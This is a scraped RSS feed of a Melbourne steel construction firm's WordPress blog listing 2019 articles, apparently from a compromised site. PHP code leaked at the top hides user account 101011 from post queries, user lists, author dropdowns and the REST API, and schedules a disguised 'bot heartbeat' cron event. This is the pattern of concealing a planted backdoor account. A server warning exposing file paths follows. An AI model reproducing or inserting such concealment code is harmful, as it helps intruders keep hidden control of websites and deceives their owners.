add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 101011;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 101011 );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 101011;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 101011;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
Warning: Cannot modify header information - headers already sent by (output started at /home/tptsteel/public_html/wp-content/plugins/advanced-custom-fields/acf.php:1038) in /home/tptsteel/public_html/wp-includes/feed-rss2.php on line 8
Blog – TPT Steel Construction Melbourne
http://tptsteelconstruction.com.au
Wed, 02 Jun 2021 03:40:00 +0000
en-AU
hourly
1
https://wordpress.org/?v=4.9.26
-
Fireproofing of Structural Steel: Why is it Important?
http://tptsteelconstruction.com.au/fireproofing-of-structural-steel-why-is-it-important/
Mon, 17 Jun 2019 04:13:26 +0000
http://tptsteelconstruction.com.au/?p=362
-
Why is it Unsafe to Use Timber Platforms for Air Conditioning Units?
http://tptsteelconstruction.com.au/why-is-it-unsafe-to-use-timber-platforms-for-air-conditioning-units/
Mon, 03 Jun 2019 22:27:53 +0000
http://tptsteelconstruction.com.au/?p=360
-
Steel Frame Structures and Its Advantages
http://tptsteelconstruction.com.au/steel-frame-structures-and-its-advantages/
Wed, 15 May 2019 23:00:42 +0000
http://tptsteelconstruction.com.au/?p=358
-
Installation of Aluminium Railings: When and Where Is It Needed?
http://tptsteelconstruction.com.au/installation-of-aluminium-railings-when-and-where-is-it-needed/
Thu, 02 May 2019 22:36:57 +0000
http://tptsteelconstruction.com.au/?p=356
-
Stairs and Handrails for Commercial Businesses in Melbourne: The Importance of Maintenance and Safety Standards
http://tptsteelconstruction.com.au/stairs-and-handrails-for-commercial-businesses-in-melbourne-the-importance-of-maintenance-and-safety-standards/
Wed, 17 Apr 2019 01:48:08 +0000
http://tptsteelconstruction.com.au/?p=353
-
Advantages of Residential Steel Fencing
http://tptsteelconstruction.com.au/advantages-of-residential-steel-fencing/
Wed, 03 Apr 2019 00:12:34 +0000
http://tptsteelconstruction.com.au/?p=348
-
Central Air Conditioning Systems: Why Should They Have Platforms?
http://tptsteelconstruction.com.au/central-air-conditioning-systems-why-should-they-have-platforms/
Thu, 21 Mar 2019 04:55:20 +0000
http://tptsteelconstruction.com.au/?p=345
-
Common Uses of Mezzanine Floors in Buildings
http://tptsteelconstruction.com.au/common-uses-of-mezzanine-floors-in-buildings/
Fri, 08 Mar 2019 02:06:59 +0000
http://tptsteelconstruction.com.au/?p=342
-
Steel Cantilever Gates for Maximum Security in Industrial Buildings: Why Choose TPT Steel?
http://tptsteelconstruction.com.au/steel-cantilever-gates-for-maximum-security-in-industrial-buildings-why-choose-tpt-steel/
Tue, 26 Feb 2019 00:07:04 +0000
http://tptsteelconstruction.com.au/?p=338
-
Structural Steel Framing: What Makes Them Reliable and Sustainable?
http://tptsteelconstruction.com.au/structural-steel-framing-what-makes-them-reliable-and-sustainable/
Fri, 15 Feb 2019 05:51:20 +0000
http://tptsteelconstruction.com.au/?p=335